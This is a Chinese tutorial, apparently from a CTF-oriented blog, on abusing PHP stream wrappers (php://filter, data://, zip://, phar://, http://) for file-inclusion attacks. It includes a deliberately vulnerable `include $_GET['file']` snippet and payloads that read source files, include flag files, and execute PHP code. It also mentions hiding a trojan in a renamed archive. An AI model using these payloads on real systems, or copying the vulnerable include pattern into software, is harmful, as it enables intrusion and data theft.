php伪协议

news2024/9/21 14:44:15

目录

一、伪协议介绍

 1、php://协议

2、php://filter伪协议

3.php://input(读取POST数据)

4、file伪协议

5、phar://伪协议(读取压缩包文件内容)

6、压缩文件伪协议

6.1.zip://[压缩文件绝对路径]%23压缩文件内的子文件名

6.2.compress.bzip2://file.bz2(同样支持任意后缀名)

6.3.compress.zlib://file.gz(同样支持任意后缀名)

7、data协议

8、http://和https://协议


一、伪协议介绍

PHP伪协议,也是php支持的协议和封装协议。

常见的有:

  1. file:// 访问本地文件系统
  2. php:// 访问各个输入/输出流
  3. data:// 数据
  4. zip:// 压缩流 不过有些伪协议需要allow_url_fopen和allow_url_include的支持。
  • allow_url_fopen On/Off 允许或禁止打开URL文件
  • allow_url_include On/Off 允许或禁止引用URL文件

 1、php://协议

条件:
allow_url_fopen:off/on
allow_url_include :仅php://input php://stdin php://memory php://temp 需要on

作用:

  • php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,
  • php://filter用于读取源码,php://input用于执行php代码。

说明
PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符,内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

2、php://filter伪协议

条件
allow_url_fopen=on/off
allow_url_include=on/off

只是读取,需要开启 allow_url_fopen,不需要开启 allow_url_include
说明:
元封装器,设计用于"数据流打开”时的"筛选过滤”应用,对本地磁盘文件进行读写
①输出进行base64加密后的信息

?file=php://filter/read=convert.base64-encode/resource=xx.php

②获得将base64加密后的信息后,再将其解密,得出原信息

3.php://input(读取POST数据)

条件
allow_url_fopen=on/off
allow_url_include=on

说明
可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。 enctype=”multipart/form-data” 的时候 php://input 是无效的

4、file伪协议

file://伪协议用作是展现本地文件系统。 CTF中一般用来读取本地文件或者执行php脚本。 绝对路径和相对路径或者网络路径(http://127.0.0.1/info.php)都可以。不过网络路径就需要allow_url_fopen和allow_url_include都为On。

tips: include()/require()/include_once()/require_once()的参数可控的情况下,如果导入的文件为非.php文件,仍会按照PHP语法进行解析,这是include()函数所决定的。

例:使用file://伪协议去包含本地的phpinfo.php和flag.txt

<?php
$file = $_GET['file'];
include $file;
?>

payload:

?file=file://E:\phpinfo.php
?file=../flag.txt
?file=http://127.0.0.1/flag.txt

5、phar://伪协议(读取压缩包文件内容)

条件
allow_url_fopen: off/on
allow_url_include: off/on (均不受影响)

注:php 版本大于等于5.3.0,压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。

?file=phar://压缩包名/内部文件名
例:phar://x.zip/x.php

6、压缩文件伪协议

zip:// & bzip2:// & zlib:// 协议 zip://、bzip2://、zlib://都属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可以修改为任意后缀:jpg、png、gif、xxx等。

6.1.zip://[压缩文件绝对路径]%23压缩文件内的子文件名

?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]

例:压缩phpinfo.txt为phpinfo.zip,将zip改为xxxx,包含里面的phpinfo.txt

<?phpinclude ($_GET['file']);

payload:

?file=zip://D:\phpstudy_pro\WWW\php-audit\fake_protocol\phpinfo.xxxx%23phpinfo.txt

6.2.compress.bzip2://file.bz2(同样支持任意后缀名)

?file=compress.bzip2://E:\phpinfo.xxx

6.3.compress.zlib://file.gz(同样支持任意后缀名)

?file=compress.zlib://E:\phpinfo.xxx

7、data协议

需要allow_url_include和allow_url_fopen都为On

data://伪协议是数据流封装器,传递相应格式的数据。 通常可以用来执行PHP代码。

用法:

data://text/plain,
data://text/plain;base64,

 例:

<?php

$file = $_GET['file'];
include $file;
?file=data://text/plain,<?php%20phpinfo();?>
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

8、http://和https://协议

远程包含需要allow_url_fopen和allow_url_include都为On。

允许通过HTTP 1.0的GET方法,以只读的方式访问文件或者资源。 CTF中通常用于远程包含。

?file=http:/127.0.0.1/phpinfo.txt

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/182434.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Mybatis 的输出结果封装小细节

resultType 属性可以指定结果集的类型&#xff0c;它支持基本类型和实体类类型。我们在前面的 CRUD 案例中已经对此属性进行过应用了。需要注意的是&#xff0c;它和 parameterType 一样&#xff0c;如果注册过类型别名的&#xff0c;可以直接使用别名。没有注册过的必须使用全…

Markdown基础语法

文章目录Markdown基础语法一、标题使用&#xff1a;2、二级标题3、一次类推二、字体三、引用四、分割线五、插入图片六、超链接七、列表1、有序列表2、无序列表八、表格九、代码十、添加目录九、代码十、添加目录Markdown基础语法 一、标题使用&#xff1a; 格式&#xff1a;…

智能驾驶 车牌检测和识别(二)《YOLOv5实现车牌检测(含车牌检测数据集和训练代码)》

智能驾驶 车牌检测和识别&#xff08;二&#xff09;《YOLOv5实现车牌检测&#xff08;含车牌检测数据集和训练代码&#xff09;》 目录 智能驾驶 车牌检测和识别&#xff08;二&#xff09;《YOLOv5实现车牌检测&#xff08;含车牌检测数据集和训练代码&#xff09;》 1. 前…

[Vulnhub] DC-4

下载链接&#xff1a;https://download.vulnhub.com/dc/DC-4.zip 同DC-3 这个靶机也是只有一个flag。 全面信息搜集hydra爆破登录和ssh密码teehee命令(写入文件内容)提权/etc/passwd & /etc/sudoers 文件利用 目录 <1> 信息搜集 <2> hydra爆破登录密码 <…

怎么解除pdf的加密,建议收藏这几种方法

我们在下载资料的时候经常能遇到PDF文档&#xff0c;有时候这些文档还会被设置需要输入密码才能打开。有些朋友找不到密码就只能放弃这份资料&#xff0c;其实还可以再争取一下&#xff0c;解除PDF的加密不是没有可能的。将PDF的密码破除后我们就不再需要密码就能阅读使用该文档…

SpringBoot利用AOP线程池异步设置缓存

文章目录设置缓存1、定义注解2、AOP3、测试设置缓存 1、定义注解 注解定义四个属性&#xff0c;分别是&#xff1a; value&#xff0c;key的别名key : redis的key,如果key不设置&#xff0c;则会用方法名加参数列表作为keyexpire&#xff1a;失效时间&#xff0c;默认为 1天…

Dockerfile创建镜像并上传到Docker Hub

Dockerfile创建镜像并上传到Docker Hub1. Dockerfile1.1 准备文件1.2 构建镜像2. 上传docker hub参考1. Dockerfile 通过Dockerfile构建镜像 1.1 准备文件 在某个空文件夹&#xff08;假设名为test&#xff09;下编写Dockerfile文件 # 声明使用哪个基础镜像 FROM ubuntu:20.0…

Spring Cloud微服务网关Gateway组件学习笔记

目录 网关简介 1. 什么是Spring Cloud Gateway 1.1 核心概念 1.2 工作原理 2. Spring Cloud Gateway快速开始 2.1 环境搭建 2.2集成Nacos 3. 路由断言工厂&#xff08;Route Predicate Factories&#xff09;配置 3.1内置断言工厂 3.2自定义 4. 过滤器工厂&#xf…

Android Studio实现志愿者系统

项目目录一、项目概述二、主要技术三、开发环境四、详细设计1、基础Activity2、活动信息3、成员信息4、百度地图5、Widget组件五、运行演示一、项目概述 本系统采用MVC架构设计&#xff0c;SQLite数据表有用户表、成员表和活动表&#xff0c;有十多个Activity页面。打开应用&a…

123、【回溯算法】leetcode ——491. 递增子序列:unordered_set去重和int数组去重(C++版本)

题目描述 原题描述&#xff1a;491. 递增子序列 解题思路 此题也是子集问题&#xff0c;但和 90.子集II &#xff08;子集问题startIndex去重&#xff09; 的区别在于&#xff1a;&#xff08;1&#xff09;存储结果集判定条件&#xff1b;&#xff08;2&#xff09;输入数据…

Python学习笔记十二之十大经典排序算法

Python学习笔记十二之十大经典排序算法 排序算法是《数据结构与算法》中最基本的算法之一。排序算法可以分为内部排序和外部排序&#xff0c;内部排序是数据记录在内存中进行排序&#xff0c;而外部排序是因排序的数据很大&#xff0c;一次不能容纳全部的排序记录&#xff0c;…

zos JESMSGLG 不显示 job steps return codes

zos JESMSGLG 不显示 job steps return codes 在普通学习的时候&#xff0c;SDSF 查看 JCL 结果&#xff0c;可能并不会注意到下面结果有什么差别 但跟公司的大型机出的结果是不同的&#xff0c;就是缺少了 job steps return codes&#xff0c;在 STARTED 和 ENDED 中间应该有…

【Linux】冯诺依曼体系结构和操作系统

目录 一、冯诺依曼体系结构 1.组成 2.各结构特性 二、操作系统 1.概念 2.设计OS的目的 3.如何理解 "管理" 4.系统调用 一、冯诺依曼体系结构 我们常见的计算机&#xff0c;如笔记本。我们不常见的计算机&#xff0c;如服务器&#xff0c;大部分都遵守冯诺依…

浅析故障电弧探测器在电气防火中的作用与应用介绍

安科瑞 李雨轩【摘要】&#xff1a; 分析了重大电气火灾数据。结合目前国内前沿的电气火灾探测技术&#xff0c;重点介绍了故障电弧式电气火灾监控探测器在火灾预警系统中的重要作用&#xff0c;给出了基于多种探测技术的电气火灾监控系统的实现方案。【关键词】&#xff1a;故…

C++模板初阶小笔记

目录 一.泛型编程 二.函数模板 1.函数模板语法梳理&#xff1a; 2.函数模板的实例化&#xff1a; 3.函数模板的显式实例化&#xff1a; 4.函数模板使用时的注意事项 三.类模板 1.类模板的语法梳理 2.类模板中声明和定义分离的成员函数 一.泛型编程 泛型编程&#xff…

【C++】类和对象---什么是类?

目录1.面向过程和面向对象初步认识2.类的引入2.1使用struct定义类3.类的定义3.1类的两种定义方式&#xff1a;3.2成员变量命名规则的建议3.3成员函数与成员变量定义的位置建议4.类的访问限定符及封装4.1访问限定符4.2封装5.类的作用域6.类的实例化7.类对象模型7.1如何计算类对象…

Kali Linux渗透

Kali Linux是基于Debian的Linux发行版&#xff0c; 设计用于数字取证操作系统。每一季度更新一次。 黑盒测试&#xff0c;它是通过测试来检测每个功能是否都能正常使用。在测试中&#xff0c;把程序看作一个不能打开的黑盒子&#xff0c;在完全不考虑程序内部结构和内部特性的情…

从C语言的使用转换到C++(上篇)——刷题、竞赛篇

文章目录 一、C的基础语法详解 1、1 输入、输出流 1、2 C中头文件的使用 1、3 C中变量的声明 1、4 C中的string类 1、5 C中的引用& 二、C中常见函数使用详解 2、1 排序sort函数详解 2、2 cctype头文件中的函数 三、总结 标题&#xff1a;从C语言的使用转换到C&#xff08;上…

④【Spring】IOC - 基于注解方式 管理bean

个人简介&#xff1a;Java领域新星创作者&#xff1b;阿里云技术博主、星级博主、专家博主&#xff1b;正在Java学习的路上摸爬滚打&#xff0c;记录学习的过程~ 个人主页&#xff1a;.29.的博客 学习社区&#xff1a;进去逛一逛~ 注解管理Bean一、注解的功能二、四个典型注解三…

day24|491.递增子序列、46.全排列、47.全排列 II

491.递增子序列 给你一个整数数组 nums &#xff0c;找出并返回所有该数组中不同的递增子序列&#xff0c;递增子序列中 至少有两个元素 。你可以按 任意顺序 返回答案。 数组中可能含有重复元素&#xff0c;如出现两个整数相等&#xff0c;也可以视作递增序列的一种特殊情况…